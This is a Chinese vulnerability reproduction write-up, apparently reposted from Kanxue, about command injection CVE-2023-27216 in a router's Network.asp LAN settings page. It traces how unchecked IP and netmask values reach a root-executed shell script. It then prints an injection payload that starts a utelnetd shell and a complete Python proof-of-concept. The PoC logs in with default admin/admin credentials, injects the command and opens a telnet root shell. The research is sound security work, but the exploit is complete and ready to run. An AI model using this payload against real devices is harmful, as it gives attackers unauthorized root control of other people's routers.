一
漏洞信息
二
漏洞分析
/cgi-bin/New_GUI/Set/Network.asp
,在文件系统中查找该文件并查看其内容:Router IP Address、Subnet Mask
的内容会分别被作为lan_ip1、lan_netmask1
的值POST到/cgi-bin/New_GUI/Set/Network.asp
。在Network.asp
中将Lan_Entry0
中IP、netmask
的值分别设定为lan_ip1、lan_netmask1
,即用户传入的Router IP Address、Subnet Mask
内容最终会传递到Lan_Entry0
的IP、netmask
中。此时查找一下含Lan_Entry0
的文件:userfs/bin/cfg_manager
中。将该文件拿到IDA中分析并结合关键词IP、netmask
定位到关键代码并进行分析,在分析过程中会遇到字符串解析不正确和函数不识别问题,需要手动修复。修复方式:◆字符串:在显示不正确的起始地址处按下U(Undefine),然后按下A。
◆函数:在函数起始地址处按下P。
/etc/lanconfig.sh
文件中写入了可被前端控制的输入信息:IP(Router IP Address)、netmask(Subnet Mask),并将该文件设定为可读可写可执行。通过查看该文件的引用发现最终该文件会被system
执行,并且为root权限。mxmlFindElement
函数获取到Entry0
,再使用mxmlElementGetAttr
函数获取IP或netmask的值到写入/etc/lanconfig.sh
的过程中不存在对输入内容的检查。从mxmlFindElement
和mxmlElementGetAttr
这两个函数名称可知是从一个xml文件中获取的数据。现在还需要确认从/cgi-bin/New_GUI/Set/Network.asp
提交到写入xml文件这一过程中是否存在输入检查。通过分析找到该文件:/tmp/var/romfile.cfg
文件中内容:/etc/lanconfig.sh
文件内容:/cgi-bin/New_GUI/Set/Network.asp
,通过TCWebApi_Set将数据保存到Lan_Entry中,然后传递到cfg-manager,cfg-manager将其保存到/tmp/var/romfile.cfg
文件中,最后通过mxmlElementGetAttr
获取数据将其写入文件/etc/lanconfig.sh
,最终被system
执行。三
漏洞复现
lan_ip1=192.168.1.1;utelnetd -p 7080 -l /bin/sh;&lan_netmask1=255.255.255.0&lan2_enable=No&lan_ip2=192.168.2.1&lan_netmask2=255.255.255.0&lan_dhcp_type=1&lan_dhcp_start=192.168.1.3&lan_dhcp_count=252&lan_dhcp_lease=86400&lan_dhcp_option60_vendorID=&lan_dhcp_pridns=&lan_dhcp_secdns=&lan_dhcp_relay_server=&upnp_active=Yes&lan2_active=No&sessionKey=1681692777
四
Poc
import requests
import os
from time import sleep
server = "192.168.1.1"
main_url = "http://192.168.1.1:80"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
}
def login():
s = requests.Session()
s.verify = False
url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1691919162829"
resp = s.get(url,headers=headers,timeout=100)
print(resp.text)
def get_session_key():
s = requests.Session()
s.verify = False
url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
resp = s.get(url,headers=headers,timeout=100)
sessionKey = resp.text
print(sessionKey)
return sessionKey
def poc(sessionKey=None):
s = requests.Session()
s.verify = False
cmd = b";utelnetd -p 8090 -l /bin/sh;"
post_data = b"lan_ip1=192.168.1.1"
post_data += cmd
post_data += b"&lan_netmask1=255.255.255.0&lan2_enable=No"
post_data += b"&lan_ip2=192.168.2.1&lan_netmask2=255.255.255.0"
post_data += b"&lan_dhcp_type=1&lan_dhcp_start=192.168.1.2&lan_dhcp_count=253&lan_dhcp_lease=86400"
post_data += b"&lan_dhcp_option60_vendorID=&lan_dhcp_pridns=&lan_dhcp_secdns=&lan_dhcp_relay_server=&upnp_active=Yes"
post_data += b"&lan2_active=No&sessionKey="
post_data += sessionKey.encode(encoding="utf-8")
url = main_url + "/cgi-bin/New_GUI/Set/Network.asp"
s.post(url,data=post_data,headers=headers,timeout=10000)
print(resp.text)
if __name__ == '__main__':
print("n[*] Connection ",main_url)
login()
print("[*] Getting session key")
sessionKey = get_session_key()
print("[*] Sending payload")
poc(sessionKey=sessionKey)
print("[*] Running Telnetd Service")
print("[*] Opening Telnet Connectionn")
sleep(3)
os.system('telnet ' + str(server) + ' 8090')
五
复现总结
参考文章
看雪ID:伯爵的信仰
https://bbs.kanxue.com/user-home-882513.htm
#
原文始发于微信公众号(看雪学苑):命令注入漏洞CVE-2023-27216复现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论